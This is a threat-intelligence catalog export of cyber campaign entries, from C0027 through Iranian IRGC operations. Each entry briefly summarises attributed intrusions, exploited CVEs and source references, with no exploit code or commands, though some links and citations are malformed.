[C0027](https://app.tidalcyber.com/campaigns/a9719584-4f52-5a5d-b0f7-1059e715c2b8) was a financially-motivated campaign linked to [Scattered Spider](https://app.tidalcyber.com/groups/3d77fb6c-cfb4-5563-b0be-7aa1ad535337) that targeted telecommunications and business process outsourcing (BPO) companies from at least June through December of 2022. During [C0027](https://app.tidalcyber.com/campaigns/a9719584-4f52-5a5d-b0f7-1059e715c2b8) [Scattered Spider](https://app.tidalcyber.com/groups/3d77fb6c-cfb4-5563-b0be-7aa1ad535337) used various forms of social engineering, performed SIM swapping, and attempted to leverage access from victim environments to mobile carrier networks.^{[[Crowdstrike TELCO BPO Campaign December 2022](https://app.tidalcyber.com/references/382785e1-4ef3-506e-b74f-cd07df9ae46e)]}

The tag is: *misp-galaxy:campaigns="C0027"*

C0032

[C0032](https://app.tidalcyber.com/campaigns/c26b3156-8472-5b87-971f-41a7a4702268) was an extended campaign suspected to involve the [Triton](https://app.tidalcyber.com/software/) adversaries with related capabilities and techniques focused on gaining a foothold within IT environments. This campaign occurred in 2019 and was distinctly different from the [Triton Safety Instrumented System Attack]([FireEye TRITON 2019](https://app.tidalcyber.com/references/49c97b85-ca22-400a-9dc4-6290cc117f04)]</sup>

The tag is: *misp-galaxy:campaigns="C0032"*

C0033

[C0033](https://app.tidalcyber.com/campaigns/c5d35d8d-fe96-5210-bb57-4692081a25a9) was a [PROMETHIUM](https://app.tidalcyber.com/groups/cc798766-8662-4b55-8536-6d057fbc58f0)

campaign during which they used [StrongPity](https://app.tidalcyber.com/software/ed563524-235e-4e06-8c69-3f9d8ddbfd8a) to target Android users. [C0033](https://app.tidalcyber.com/campaigns/c5d35d8d-fe96-5210-bb57-4692081a25a9) was the first publicly documented mobile campaign for [PROMETHIUM](https://app.tidalcyber.com/groups/cc798766-8662-4b55-8536-6d057fbc58f0), who previously used Windows-based techniques.^{[[welivesec_strongpity](https://app.tidalcyber.com/references/1b89df2c-e756-599a-9f7f-a5230db9de46)]}

The tag is: *misp-galaxy:campaigns="C0033"*

Chinese APT Privileged Access Management Remote Support Compromise

An announcement from privileged access management product vendor BeyondTrust indicated that threat actors compromised some of its remote support software-as-a-service ("SaaS") instances. The company indicated that actors gained access to an API token associated with the "Remote Support SaaS" capability, which allowed them to reset passwords for local application accounts. The incident involved a "limited number" of customers.^{[[BeyondTrust Announcement December 8 2024](/references/1d1347e2-56b6-4376-b2b6-7e3fc0a1ccde)]}

In late December 2024, U.S. Treasury Department officials indicated that the agency was one of the customers using a compromised instance and attributed the compromise to an unspecified China state-sponsored advanced persistent threat ("APT") actor.^{[[BleepingComputer BeyondTrust December 30 2024](/references/98bd01e9-d976-4a45-82bf-895b5ea27fb7)]}

In its announcement about its investigation into the incident, BeyondTrust also announced that it had discovered two vulnerabilities in Remote Support and Privileged Remote Access products (CVE-2024-12356 and CVE-2024-12686), although it did not explicitly link exploits of the vulnerabilities to the early December incident.^{[[BleepingComputer BeyondTrust December 19 2024](/references/20c92ad4-9481-48cd-8e72-2f720cd7c52b)]} We are including Technique Relationships related to these vulnerabilities as part of this object for contextual awareness.

The tag is: *misp-galaxy:campaigns="Chinese APT Privileged Access Management Remote Support Compromise"*

Citrine Sleet Chromium Zero-Day Exploit Activity (CVE-2024-7971)

Actors associated with the North Korean threat group Citrine Sleet were observed exploiting a zero-day vulnerability (CVE-2024-7971) in Chromium web browser software to achieve remote code execution in target environments. Actors were observed delivering FudModule, an advanced rootkit tool, during the attacks.^{[[Microsoft Security Blog August 30 2024](/references/d7ef2e80-30c0-47ce-91d4-db1690c6c689)]}

The tag is: *misp-galaxy:campaigns="Citrine Sleet Chromium Zero-Day Exploit Activity (CVE-2024-7971)"*

Citrine Sleet Cryptocurrency Industry Attack

Microsoft researchers observed threat actors, believed to be members of the Citrine Sleet aka DEV-0139 group, launch an apparently targeted attack against an organization in the cryptocurrency industry.^{[[Microsoft DEV-0139 December 6 2022](/references/f9c070f1-aa83-45a3-bffb-c90f4caf5926)]}

The tag is: *misp-galaxy:campaigns="Citrine Sleet Cryptocurrency Industry Attack"*

Cleo File Transfer Software Zero-Day Exploits (CVE-2024-50623 & CVE-2024-55956)

Security researchers and incident responders observed actors exploiting vulnerabilities in the Cleo managed file transfer ("MFT") products LexiCom, VLTrader, and Harmony. Recent reports indicate that actors exploited CVE-2024-55956 in December 2024, while a similar vulnerability in the same products (CVE-2024-50623) had been exploited in October 2024.^{[[AttackerKB December 16 2024](/references/b8970cef-ddda-4a72-94ed-e2c911a20e18)]} This Campaign object includes ATT&CK Technique relationships related to both sets of exploit activity.

Actors were observed writing and executing various code to ultimately ingress and execute payloads that included web shells and a modular tool with the ability to read and transfer files.^{[[AttackerKB December 16 2024](/references/b8970cef-ddda-4a72-94ed-e2c911a20e18)]}^{[[Binary Defense December 10 2024](/references/3fc33142-b596-46e9-b829-5c62734cdc3e)]}News reports described the CVE-2024-50623 exploit activity as zero-day exploitation and linked attacks to Termite ransomware operators, while researchers drew parallels to Clop ransomware operators, who used a zero-day exploit to compromise a different vendor’s MFT solution in mid-2023.^{[[DarkReading Termite Cleo December 10 2024](/references/e854ae37-3137-4cdd-a464-7e2328b1246e)]}^{[[U.S. CISA CL0P CVE-2023-34362 Exploitation](/references/07e48ca8-b965-4234-b04a-dfad45d58b22)]} Reports indicate that Cleo software is used by more than 4,000 customers in a variety of industries, underscoring the size of the potential attack surface related to the latest campaigns.^{[[DarkReading Termite Cleo December 10 2024](/references/e854ae37-3137-4cdd-a464-7e2328b1246e)]}

The tag is: *misp-galaxy:campaigns="Cleo File Transfer Software Zero-Day Exploits (CVE-2024-50623 & CVE-2024-55956)"*

ClickFake Interview

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:campaigns="ClickFake Interview"*

Clop MOVEit Transfer Vulnerability Exploitation

In June 2023, U.S. authorities released Cybersecurity Advisory AA23-158A, which detailed observed

exploits of a zero-day SQL injection vulnerability (CVE-2023-34362) affecting Progress Software's managed file transfer (MFT) solution, MOVEit Transfer. According to the Advisory, exploit activity began on May 27, 2023, as threat actors, which the Advisory attributed to "CL0P Ransomware Gang, also known as TA505", began compromising internet-facing MOVEit Transfer web applications. Actors deployed web shells, dubbed LEMURLOOT, on compromised MOVEit applications, which enabled persistence, discovery of files and folders stored on MOVEit servers, and staging and exfiltration of compressed victim data. Authorities indicated they expected to see "widespread exploitation of unpatched software services in both private and public networks".^{[[U.S. CISA CL0P CVE-2023-34362 Exploitation](/references/07e48ca8-b965-4234-b04a-dfad45d58b22)]} Progress Software acknowledged the vulnerability and issued guidance on known affected versions, software upgrades, and patching.^{[[Progress Software MOVEit Transfer Critical Vulnerability](/references/9f364e22-b73c-4f3a-902c-a3f0eb01a2b9)]}

Related Vulnerabilities: CVE-2023-34362^{[[U.S. CISA CL0P CVE-2023-34362 Exploitation](/references/07e48ca8-b965-4234-b04a-dfad45d58b22)]}

The tag is: *misp-galaxy:campaigns="Clop MOVEit Transfer Vulnerability Exploitation"*

Cloudflare Thanksgiving 2023 security incident

This object represents a collection of MITRE ATT&CK® Techniques and other objects (Groups and/or Software) related to the specified threat activity. Further background & contextual details can be found in the References tab below.

The tag is: *misp-galaxy:campaigns="Cloudflare Thanksgiving 2023 security incident"*

Contagious Interview

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to threat activity dubbed "Contagious Interview", a long-running campaign attributed to North Korea state-sponsored actors, likely linked to Lazarus Group. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:campaigns="Contagious Interview"*

Corona Mirai Botnet Zero-Day Exploit Campaign

Actors deploying a variant of the Mirai botnet, known as Corona, were observed exploiting a zero-day vulnerability (CVE-2024-7029) to achieve initial infection of new devices with the botnet. The vulnerability enables remote code execution on affected devices (AVTECH closed-circuit television (CCTV) cameras), which actors abused to ingress their main payloads.^{[[Akamai Corona Zero-Day August 28 2024](/references/140284f8-075c-4225-99dd-519ba5cebabe)]}

The tag is: *misp-galaxy:campaigns="Corona Mirai Botnet Zero-Day Exploit Campaign"*

CostaRicto

[CostaRicto](https://app.tidalcyber.com/campaigns/fb011ed2-bfb9-4f0f-bd88-8b3fa0cf9b48) was a suspected hacker-for-hire cyber espionage campaign that targeted multiple industries worldwide, with a large number being financial institutions. [CostaRicto](https://app.tidalcyber.com/campaigns/fb011ed2-bfb9-4f0f-bd88-8b3fa0cf9b48) actors targeted organizations in Europe, the Americas, Asia, Australia, and Africa, with a large concentration in South Asia (especially India, Bangladesh, and Singapore), using custom malware, open source tools, and a complex network of proxies and SSH tunnels.^{[[BlackBerry CostaRicto November 2020](https://app.tidalcyber.com/references/93a23447-641c-4ee2-9fbd-64b2adea8a5f)]}

The tag is: *misp-galaxy:campaigns="CostaRicto"*

Cuckoo Spear

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:campaigns="Cuckoo Spear"*

Cutting Edge

[Cutting Edge](https://app.tidalcyber.com/campaigns/4e605e33-57fe-5bb2-b0ad-ec146aac041b) was a campaign conducted by suspected China-nexus espionage actors, variously identified as UNC5221/UTA0178 and UNC5325, that began as early as December 2023 with the exploitation of zero-day vulnerabilities in Ivanti Connect Secure (previously Pulse Secure) VPN appliances. [Cutting Edge](https://app.tidalcyber.com/campaigns/4e605e33-57fe-5bb2-b0ad-ec146aac041b) targeted the U.S. defense industrial base and multiple sectors globally including telecommunications, financial, aerospace, and technology. [Cutting Edge](https://app.tidalcyber.com/campaigns/4e605e33-57fe-5bb2-b0ad-ec146aac041b) featured the use of defense evasion and living-off-the-land (LoTL) techniques along with the deployment of web shells and other custom malware.^{[[Mandiant Cutting Edge January 2024](https://app.tidalcyber.com/references/9d9ec923-89c1-5155-ae6e-98d4776d4250)]}^{[[Volexity Ivanti Zero-Day Exploitation January 2024](https://app.tidalcyber.com/references/93eda380-ea21-59e0-97e8-5bec1f9a0e71)]}^{[[Volexity Ivanti Global Exploitation January 2024](https://app.tidalcyber.com/references/b96fa4f2-864d-5d88-9a29-b117da8f8c5c)]}^{[[Mandiant Cutting Edge Part 2 January 2024](https://app.tidalcyber.com/references/5209d259-4293-58c0-bbdc-f30ff77d57f7)]}^{[[Mandiant Cutting Edge Part 3 February 2024](https://app.tidalcyber.com/references/49e5b125-5503-5cb0-9a56-a93f82b55753)]}

The tag is: *misp-galaxy:campaigns="Cutting Edge"*

DangerDev AWS Attack

This object represents a collection of MITRE ATT&CK® Techniques related to an incident response

where an attacker gained initial access to an AWS environment using an "accidentally exposed long term access key belonging to an IAM user". The actor persisted for approximately a month and ultimately used their access to carry out limited cryptomining acitivty, conduct phishing and spam email attacks via AWS SES, and establish domains for further phishing/spam campaigns.^{[[Www.invictus-ir.com 1 31 2024](/references/803a084a-0468-4c43-9843-a0b5652acdba)]}

The tag is: *misp-galaxy:campaigns="DangerDev AWS Attack"*

Defense Sector Supply Chain Compromise by North Korea-Linked Actors

German and South Korean cybersecurity authorities published an advisory highlighting recent attempts by North Korea-linked cyber actors to target enterprises and research centers in the defense sector. The advisory detailed a supply chain attack, attributed to an unnamed threat group, in which actors compromised a company that maintained a defense sector research center's web servers, then used stolen SSH credentials to remotely access the research center's network. The actors then used various methods to evade defenses, including impersonating security staff, deployed malware via a patch management system, and stole account information and email contents before being evicted from the network.^{[[BfV North Korea February 17 2024](/references/cc76be15-6d9d-40b2-b7f3-196bb0a7106a)]}

The tag is: *misp-galaxy:campaigns="Defense Sector Supply Chain Compromise by North Korea-Linked Actors"*

DragonForce SimpleHelp Vulnerabilities MSP Attack

Attackers are believed to have leveraged three vulnerabilities (CVE-2024-57727, CVE-2024-57728, and CVE-2024-57726) in the SimpleHelp remote monitoring and management tool ("RMM") to compromise SimpleHelp instances managed by an unnamed Managed Service Provider ("MSP"). The actors then used compromised RMM instances to deploy "DragonForce ransomware" to multiple endpoints managed by the MSP. The attackers also used unspecified means to exfiltrate victim data and attempted to extort targets into paying a ransom.^{[[Sophos DragonForce Attack May 27 2025](/references/edb4359f-f12a-4ab1-9116-9c4b3220120d)]}

The tag is: *misp-galaxy:campaigns="DragonForce SimpleHelp Vulnerabilities MSP Attack"*

Earth Estries 2023-2024 Espionage Intrusions

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:campaigns="Earth Estries 2023-2024 Espionage Intrusions"*

Earth Estries Government & Technology Cyberespionage Campaign

Trend Micro researchers reported about a campaign, which they attributed to the "Earth Estries" group, which targeted government and technology organizations in the Philippines, Taiwan, Malaysia, South Africa, Germany, and the United States for suspected cyberespionage purposes.^{[[Trend Micro Earth Estries August 30 2023](/references/d3b71f80-4dd5-43d6-9522-9d8a83469109)]} In a later report, the same researchers described Earth Estries as "also known as" Salt Typhoon, a China-backed espionage actor group.^{[[Trend Micro Earth Estries November 8 2024](/references/75e21136-ebd2-449a-8fd9-7379db7bdc64)]}

The tag is: *misp-galaxy:campaigns="Earth Estries Government & Technology Cyberespionage Campaign"*

Emerald Sleet PowerShell User Execution Activity

Emerald Sleet actors were observed using a new method to compromise their traditional espionage targets in "limited" attacks since January 2025. After building a rapport with target users while posing as South Korean government officials, the actors sent victims spearphishing emails with PDF attachments. The attachments contained links that would instruct the victims to open PowerShell as an administrator and paste and execute code, which ultimately led to the installation of a browser-based remote desktop tool.^{[[Microsoft Emerald Sleet LinkedIn February 12 2025](/references/438acf7a-34c5-4981-9f88-4f36c4f4fe5c)]}

The tag is: *misp-galaxy:campaigns="Emerald Sleet PowerShell User Execution Activity"*

Emmenhtal Loader Distribution Activity

Security researchers observed consistent adversary use of Web Distributed Authoring and Versioning (WebDAV) technology to host malicious files related to Emmenhtal (aka PeakLight), a stealthy loader malware that was then used to ingress various final malicious payloads, including DarkGate, Amadey, and SelfAU3.^{[[Sekoia.io Blog September 19 2024](/references/df9ff358-4d1e-4094-92cd-4703c53a384c)]}

The tag is: *misp-galaxy:campaigns="Emmenhtal Loader Distribution Activity"*

"Fake CAPTCHA" Lumma Stealer Distribution Campaign

Researchers observed actors distributing Lumma Stealer malware via websites made to look like legitimate CAPTCHA forms. The fake, malicious forms were designed to trick users into copying and executing PowerShell code on their machines, which would ultimately fetch and deploy the infostealer payload. This campaign targeted victims in countries around the world, including Argentina, Colombia, the Philippines, and the United States specifically, and a range of industries were impacted, including healthcare, banking, and telecommunications.^{[[Netskope January 23 2025](/references/5dca9c19-772e-41e9-bbcc-5060586781b6)]}

The tag is: *misp-galaxy:campaigns=""Fake CAPTCHA" Lumma Stealer Distribution Campaign"*

FamousSparrow/GhostEmperor Vulnerability Exploit and Post-Compromise Activity

ESET researchers observed cyberespionage activity that they linked to the FamousSparrow group, where actors used ProxyLogon and other vulnerability exploits to compromise hotel, legal, and other organizations worldwide and install a backdoor dubbed SparrowDoor, among other post-exploit tools.^{[[ESET FamousSparrow September 23 2021](/references/f91d6d8e-22a4-4851-9444-7a066e6b7aa5)]}

At a similar time, Kaspersky researchers reported activity they linked to the GhostEmperor group, where ProxyLogon was also exploited and similar post-exploit tools were deployed, as well as a rootkit dubbed Demodex. The researchers further indicated that one of the command and control servers identified during their investigation correlated to the FamousSparrow activity that ESET had reported.^{[[Kaspersky September 30 2021](/references/8851f554-05c6-4fb0-807e-2ef0bc28e131)]}

The tag is: *misp-galaxy:campaigns="FamousSparrow/GhostEmperor Vulnerability Exploit and Post-Compromise Activity"*

FIN12 March 2023 Hospital Center Intrusion

In September 2023, French cybersecurity authorities released advisory CERTFR-2023-CTI-007, which detailed a network intrusion of the Regional and University Hospital Center of Brest, in northwestern France. Actors used valid credentials belonging to a healthcare professional to connect to a remote desktop service exposed to the Internet, then installed Cobalt Strike and SystemBC to provide backdoor network access. Authorities indicated that the credentials were likely compromised via unspecified infostealer malware.

The actors used multiple third-party tools for credential access and discovery, and they attempted to exploit at least five vulnerabilities for privilege escalation and lateral movement. Authorities worked with hospital personnel to isolate affected systems and disrupt the intrusion before suspected data exfiltration and encryption could take place. Based on infrastructural and behavioral overlaps with other incidents, officials attributed the intrusion to the FIN12 financially motivated actor group and indicated the same actors are responsible for dozens of attacks on French victims in recent years.

Additional details, indicators of compromise, and the observed Cobalt Strike configuration can be found in the [source report]([CERTFR-2023-CTI-007](/references/0f4a03c5-79b3-418e-a77d-305d5a32caca)]</sup>

Related Vulnerabilities: CVE-2023-21746, CVE-2022-24521, CVE-2021-34527, CVE-2019-0708, CVE-2020-1472^{[[CERTFR-2023-CTI-007](/references/0f4a03c5-79b3-418e-a77d-305d5a32caca)]}

The tag is: *misp-galaxy:campaigns="FIN12 March 2023 Hospital Center Intrusion"*

FIN7 Anubis Backdoor Activity

Multiple security research teams observed suspected FIN7 actors deploying Anubis, a Python-based backdoor newly linked to the cybercriminal group. Actors gained initial access by delivering phishing emails with Python scripts attached within a ZIP archive file and tricking users into executing the attached file. Anubis then provided actors with a range of post-compromise capabilities, including obfuscation and other defense evasion abilities, remote access, file ingress features, and persistence mechanisms.^{[[The Hacker News April 2 2025](/references/22857eb3-b5f7-4677-bf5c-bc993f483450)]}^{[[G DATA CyberDefense AG March 20 2025](/references/a9b00314-5a02-4fa8-9d34-27f05a71ff3c)]}

The tag is: *misp-galaxy:campaigns="FIN7 Anubis Backdoor Activity"*

FLORAHOX Activity

[FLORAHOX Activity](https://app.tidalcyber.com/campaigns/1c244c55-d0f7-5d58-8bc3-59b15a92bf3a) is conducted using a hybrid operational relay box (ORB) network, which combines two types of infrastructure: compromised devices and leased Virtual Private Servers (VPS). The compromised devices include end-of-life routers and IoT devices, while VPS space is commercially leased and managed by ORB network administrators. This hybrid ORB network allows adversaries to proxy and obscure malicious traffic, making the source of the traffic more difficult to trace.

The FLORAHOX ORB network has been leveraged by multiple cyber threat actors, including China-nexus actors like [ZIRCONIUM](https://app.tidalcyber.com/groups/5e34409e-2f55-4384-b519-80747d02394c). These adversaries conduct espionage campaigns through [FLORAHOX Activity](https://app.tidalcyber.com/campaigns/1c244c55-d0f7-5d58-8bc3-59b15a92bf3a), relying on the ORB network's ability to funnel traffic through [Tor](https://app.tidalcyber.com/software/8c70d85b-b06d-423c-8bab-ecff18f332d6) nodes, provisioned VPS servers, and compromised routers to obfuscate malicious traffic.^{[[ORB Mandiant](https://app.tidalcyber.com/references/3852fe26-53ad-504f-9328-7e249d121ebd)]}

The tag is: *misp-galaxy:campaigns="FLORAHOX Activity"*

FortiManager Zero-Day Exploit Activity (CVE-2024-47575)

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:campaigns="FortiManager Zero-Day Exploit Activity (CVE-2024-47575)"*

Fortinet FortiGate Vulnerability Zero-Day Exploit Campaign (CVE-2024-55591)

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the

subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:campaigns="Fortinet FortiGate Vulnerability Zero-Day Exploit Campaign (CVE-2024-55591)"*

Frankenstein

[Frankenstein](https://app.tidalcyber.com/campaigns/2fab9878-8aae-445a-86db-6b47b473f56b) was described by security researchers as a highly-targeted campaign conducted by moderately sophisticated and highly resourceful threat actors in early 2019. The unidentified actors primarily relied on open source tools, including [Empire](https://app.tidalcyber.com/software/fea655ac-558f-4dd0-867f-9a5553626207). The campaign name refers to the actors' ability to piece together several unrelated open-source tool components.^{[[Talos Frankenstein June 2019](https://app.tidalcyber.com/references/a6faa495-db01-43e8-9db3-d446570802bc)]}

The tag is: *misp-galaxy:campaigns="Frankenstein"*

FrostyGoop Incident

[FrostyGoop Incident](https://app.tidalcyber.com/campaigns/1ca84953-7ba1-5449-a24b-4c6492201b77) took place in January 2024 against a municipal district heating company in Ukraine. Following initial access via likely exploitation of external facing services, [FrostyGoop](https://app.tidalcyber.com/software/) was used to manipulate ENCO control systems via legitimate Modbus commands to impact the delivery of heating services to Ukrainian civilians.^{[[Dragos FROSTYGOOP 2024](https://app.tidalcyber.com/references/668d7fff-8606-5aa1-895c-390b04d176d1)]}^{[[Nozomi BUSTLEBERM 2024](https://app.tidalcyber.com/references/d8a5e49e-7d1c-54eb-92dc-273adb930c20)]}

The tag is: *misp-galaxy:campaigns="FrostyGoop Incident"*

FunnyDream

[FunnyDream](https://app.tidalcyber.com/campaigns/94587edf-0292-445b-8c66-b16629597f1e) was a suspected Chinese cyber espionage campaign that targeted government and foreign organizations in Malaysia, the Philippines, Taiwan, Vietnam, and other parts of Southeast Asia. Security researchers linked the [FunnyDream](https://app.tidalcyber.com/campaigns/94587edf-0292-445b-8c66-b16629597f1e) campaign to possible Chinese-speaking threat actors through the use of the [Chinoxy](https://app.tidalcyber.com/software/7c36563a-9143-4766-8aef-4e1787e18d8c) backdoor and noted infrastructure overlap with the TAG-16 threat group.^{[[Bitdefender FunnyDream Campaign November 2020](https://app.tidalcyber.com/references/b62a9f2c-02ca-4dfa-95fc-5dc6ad9568de)]}^{[[Kaspersky APT Trends Q1 2020](https://app.tidalcyber.com/references/23c91719-5ebe-4d03-8018-df1809fffd2f)]}^{[[Recorded Future Chinese Activity in Southeast Asia December 2021](https://app.tidalcyber.com/references/0809db3b-81a8-475d-920a-cb913b30f42e)]}

The tag is: *misp-galaxy:campaigns="FunnyDream"*

German Entity Sliver Implant Targeting

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:campaigns="German Entity Sliver Implant Targeting"*

GhostEmperor/Demodex 2023 Compromise

In July 2024, Sygnia researchers reported about what they described as an "updated infection chain" used to deploy a variant of the Demodex rootkit, associated with the GhostEmperor (AKA FamousSparrow and Salt Typhoon) China-backed cyberespionage group. The attacks, which were discovered at an unspecified time in "late 2023", featured malware loading and obfuscation methods distinct from those observed during previous GhostEmperor activity in 2021.^{[[Sygnia July 17 2024](/references/7d30acb4-9600-46bd-a800-1c7e1149e9b4)]}

The tag is: *misp-galaxy:campaigns="GhostEmperor/Demodex 2023 Compromise"*

Grayling APT Taiwan Espionage Activity

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:campaigns="Grayling APT Taiwan Espionage Activity"*

GrimResource Activity

Researchers identified what they called a new infection technique, dubbed GrimResource, which allows attackers to achieve code execution capabilities in the context of the Microsoft Management Console utility (`mmc.exe`) after a victim user clicks on a specifically crafted Windows MSC (.msc) file. The researchers drew parallel sbetween the use of this new technique and other evasion techniques used after Microsoft default-disabled select Office macros, such as the use of JavaScript and MSI, ISO, or LNK files.^{[[elastic.co June 22 2024](/references/1f7416d3-806f-4ef7-a759-074ec040027b)]}

The tag is: *misp-galaxy:campaigns="GrimResource Activity"*

Healthcare Social Engineering & Payment Diversion Activity

U.S. cybersecurity authorities released an advisory that warned of recent attacks targeting healthcare entities and providers, which leveraged social engineering techniques for initial access and ultimately led to financial theft. The attacks used voice phishing and phishing domains, and sometimes bypassed multi-factor authentication measures, to gain footholds. Actors often used information gathered through extensive reconnaissance to facilitate these efforts.

Actors then used "living off the land" (LOTL) techniques to persist stealthily in compromised environments. Ultimately, actors sought to modify patient automated clearinghouse (ACH) account information to divert payments to actor-controlled bank accounts. The advisory did not attribute the recent campaign to a named adversary group.^{[[FBI Social Engineering Attacks June 24 2024](/references/527ac41a-a65e-4cf9-a9c9-194443b37c5b)]}

The tag is: *misp-galaxy:campaigns="Healthcare Social Engineering & Payment Diversion Activity"*

HomeLand Justice

[HomeLand Justice](https://app.tidalcyber.com/campaigns/04329c95-d792-5333-b5bc-13ef2c545d7b) was a disruptive campaign involving the use of ransomware, wiper malware, and sensitive information leaks conducted by Iranian state cyber actors against Albanian government networks in July and September 2022. Initial access for [HomeLand Justice](https://app.tidalcyber.com/campaigns/04329c95-d792-5333-b5bc-13ef2c545d7b) was established in May 2021 as threat actors subsequently moved laterally, exfiltrated sensitive information, and maintained persistence for approximately 14 months prior to the attacks. Responsibility was claimed by the "HomeLand Justice" front whose messaging indicated targeting of the Mujahedeen-e Khalq (MEK), an Iranian opposition group who maintain a refugee camp in Albania, and were formerly designated a terrorist organization by the US State Department.^{[[Mandiant ROADSWEEP August 2022](https://app.tidalcyber.com/references/0d81ec58-2e12-5824-aa53-feb0d2260f30)]}^{[[Microsoft Albanian Government Attacks September 2022](https://app.tidalcyber.com/references/d00399e9-a6c6-5691-92cd-0185b03b689e)]}^{[[CISA Iran Albanian Attacks September 2022](https://app.tidalcyber.com/references/c5d37bde-52bc-525a-b25a-e097f77a924a)]} A second wave of attacks was launched in September 2022 using similar tactics after public attribution of the previous activity to Iran and the severing of diplomatic ties between Iran and Albania.^{[[CISA Iran Albanian Attacks September 2022](https://app.tidalcyber.com/references/c5d37bde-52bc-525a-b25a-e097f77a924a)]}

The tag is: *misp-galaxy:campaigns="HomeLand Justice"*

HPE Midnight Blizzard Office 365 Email Exfiltration

This object represents a collection of MITRE ATT&CK® Techniques and other objects (Groups and/or Software) related to the specified threat activity. Further background & contextual details can be found in the References tab below.

The tag is: *misp-galaxy:campaigns="HPE Midnight Blizzard Office 365 Email Exfiltration"*

Indian Critical Infrastructure Intrusions

[Indian Critical Infrastructure Intrusions](https://app.tidalcyber.com/campaigns/d7357476-a73c-5b5b-9bb9-95a3b379096f) is a sequence of intrusions from 2021 through early 2022 linked to People’s Republic of China (PRC) threat actors, particularly [RedEcho](https://app.tidalcyber.com/groups/a6dea520-12ab-5c7b-8142-db3a308122de) and Threat Activity Group 38 (TAG38). The intrusions appear focused on IT system breach in Indian electric utility entities and logistics firms,

as well as potentially managed service providers operating within India. Although focused on OT-operating entities, there is no evidence this campaign was able to progress beyond IT breach and information gathering to OT environment access.^{[[RecordedFuture RedEcho 2021](https://app.tidalcyber.com/references/644fa2c1-ed3e-5203-96d5-27acfc1947a0)]}^{[[RecordedFuture RedEcho 2022](https://app.tidalcyber.com/references/3bd1c189-8cb8-5e87-9d3a-15d24a8df16f)]}

The tag is: *misp-galaxy:campaigns="Indian Critical Infrastructure Intrusions"*

Iranian APT Credential Harvesting & Cryptomining Activity

In November 2022, U.S. cybersecurity authorities released Cybersecurity Advisory AA22-320A, which detailed an incident response engagement at an unspecified U.S. Federal Civilian Executive Branch organization. Authorities assessed that the network compromise was carried out by unspecified Iranian government-sponsored advanced persistent threat (APT) actors. The actors achieved initial network access by exploiting the Log4Shell vulnerability in an unpatched VMware Horizon server. Post-exploit activities included installing XMRig crypto mining software and executing Mimikatz to harvest credentials, as well as moving laterally to the domain controller and implanting Ngrok reverse proxies on multiple hosts to maintain persistence.

Additional details, including incident response guidance and relevant mitigations, can be found in the [source report]([U.S. CISA Advisory November 25 2022(/references/daae1f54-8471-4620-82d5-023d04144acd)]</sup>

Related Vulnerabilities: CVE-2021-44228^{[[U.S. CISA Advisory November 25 2022](/references/daae1f54-8471-4620-82d5-023d04144acd)]}

The tag is: *misp-galaxy:campaigns="Iranian APT Credential Harvesting & Cryptomining Activity"*

Iranian APT Targeting U.S. Voter Data

In November 2020, U.S. cybersecurity authorities released joint Cybersecurity Advisory AA20-304A, which detailed efforts by an unspecified Iranian advanced persistent threat (APT) actor to target U.S. state websites, including election-related sites, with the goal of obtaining voter registration data. The actors used a legitimate vulnerability scanner, Acunetix, to scan state election websites, and they attempted to exploit sites with directory traversal, SQL injection, and web shell upload attacks. Authorities confirmed the actors successfully obtained voter registration data in at least one state – after abusing a website misconfiguration, they used a cURL-based scripting tool to iterate through and retrieve voter records. Officials assessed that the actor behind the website attacks is responsible for mass dissemination of intimidation emails to U.S. citizens and a disinformation campaign featuring a U.S. election-related propaganda video in mid-October 2020. Authorities furthermore assessed that information obtained during the website attacks was featured in the propaganda video.^{[[U.S. CISA Iran Voter Data November 3 2020](/references/be89be75-c33f-4c58-8bf0-979c1debaad7)]}

The tag is: *misp-galaxy:campaigns="Iranian APT Targeting U.S. Voter Data"*

Iranian Cyber Actors Compromise Critical Infrastructure Organizations

On October 16, 2024, U.S., Canadian, and Australian cybersecurity authorities released joint Cybersecurity Advisory AA24-290A, which detailed attacks by unspecified "Iranian cyber actors", who used brute forcing and other credential access techniques to compromise various critical infrastructure entities, including organizations in the healthcare and public health (HPH), government, information technology, engineering, and energy sectors. The advisory indicated that the actors likely carried out the attacks in order to ultimately sell harvested credentials and victim network information "to enable access to cybercriminals".^{[[U.S. CISA Iranian Actors Critical Infrastructure October 16 2024](/references/a70a4487-eaae-43b3-bfe0-0677fd911959)]}

The tag is: *misp-galaxy:campaigns="Iranian Cyber Actors Compromise Critical Infrastructure Organizations"*

Iranian IRGC Data Extortion Operations

In September 2022, U.S., Canadian, United Kingdom, and Australian cybersecurity authorities released joint Cybersecurity Advisory AA22-257A, which detailed malicious cyber activity attributed to advanced persistent threat (APT) actors affiliated with the Iranian government's Islamic Revolutionary Guard Corps (IRGC). The advisory updated a previous alert (AA21-321A), published in November 2021, and summarized recent activities linked to the actors. Since at least March 2021, the actors were observed targeting victims in a wide range of U.S. critical infrastructure sectors, including transportation and healthcare, and victims in unspecified sectors in Australia, Canada, and the United Kingdom.

The actors typically exploited vulnerabilities to gain initial network access. They were observed exploiting vulnerabilities in Microsoft Exchange servers (ProxyShell) and Fortinet devices in 2021, and VMware Horizon (Log4j) in 2022. After gaining access, the actors typically evaluated the perceived value of data held within a victim network and either encrypted it for ransom and/or exfiltrated it. The actors are believed to have sold some exfiltrated data or used it as leverage to further pressure victims into paying a ransom.

